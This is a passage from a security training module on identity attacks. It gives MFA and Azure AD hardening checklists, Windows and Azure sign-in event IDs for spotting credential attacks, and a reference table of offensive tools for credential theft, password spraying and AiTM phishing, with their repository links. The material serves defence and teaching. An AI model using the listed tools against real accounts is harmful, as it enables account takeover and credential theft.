- [ ] Rate limit MFA code attempts (5 failures = lockout)
- [ ] TOTP seeds encrypted at rest (HSM-backed)
- [ ] Recovery codes: single-use, stored hashed
- [ ] Re-authenticate before MFA factor changes
- [ ] Out-of-band notification on factor changes
- [ ] Block legacy authentication protocols

### 10.6 Azure AD / Entra ID Security Checklist

- [ ] Block legacy authentication in Conditional Access
- [ ] Require MFA for ALL cloud apps
- [ ] Require compliant/hybrid Azure AD joined devices
- [ ] Implement Privileged Identity Management (PIM) for admin roles
- [ ] Monitor for FOCI token abuse patterns
- [ ] Alert on application consent grants
- [ ] Alert on service principal credential additions
- [ ] Secure Azure AD Connect server (Tier 0 asset)
- [ ] Disable self-service application consent (or require admin approval)
- [ ] Review dynamic group membership rules for abuse
- [ ] Monitor Key Vault access patterns
- [ ] Implement break-glass accounts with monitoring

### 10.7 Detection Rules — Key Events

**Windows/AD**:
| Event ID | Description | Relevance |
|----------|-------------|-----------|
| 4768 | Kerberos TGT requested | Password spray detection |
| 4771 | Kerberos pre-auth failed | Brute force detection |
| 4625 | Failed logon | Credential attack detection |
| 4648 | Logon with explicit credentials | Lateral movement |
| 4720 | User account created | Persistence |
| 4724 | Password reset attempt | Account takeover |

**Azure AD Sign-in Logs**:
- `ResultType 50126`: Invalid credentials
- `ResultType 50053`: Account locked
- `ResultType 50076`: MFA required (user didn't complete)
- `ResultType 50074`: MFA challenge issued
- `ResultType 0`: Successful sign-in (correlate with above for spray patterns)

---

## References & Tools

| Tool | Purpose | URL |
|------|---------|-----|
| LaZagne | Local credential recovery | github.com/AlessandroZ/LaZagne |
| Responder | LLMNR/NBT-NS/MDNS poisoning | github.com/lgandx/Responder |
| Kerbrute | Kerberos brute-forcing | github.com/ropnop/kerbrute |
| MFASweep | Microsoft MFA gap testing | github.com/dafthack/MFASweep |
| MSOLSpray | Azure AD password spraying | github.com/dafthack/MSOLSpray |
| o365spray | O365 enumeration + spraying | github.com/0xZDH/o365spray |
| FOCI Research | Azure AD client ID families | github.com/secureworks/family-of-client-ids-research |
| Azure-Red-Team | Azure AD attack playbook | github.com/rootsecdev/Azure-Red-Team |
| Evilginx2 | AiTM phishing framework | github.com/kgretzky/evilginx2 |
| AzureHound | Azure BloodHound collection | github.com/BloodHoundAD/AzureHound |
| ROADtools | Azure AD exploration | github.com/dirkjanm/ROADtools |
| AADInternals | Azure AD admin toolkit | github.com/Gerenios/AADInternals |

---

*Training module compiled from OWASP Cheat Sheet Series, PortSwigger Web Security Academy, Secureworks FOCI research, and open-source red team tooling documentation.*
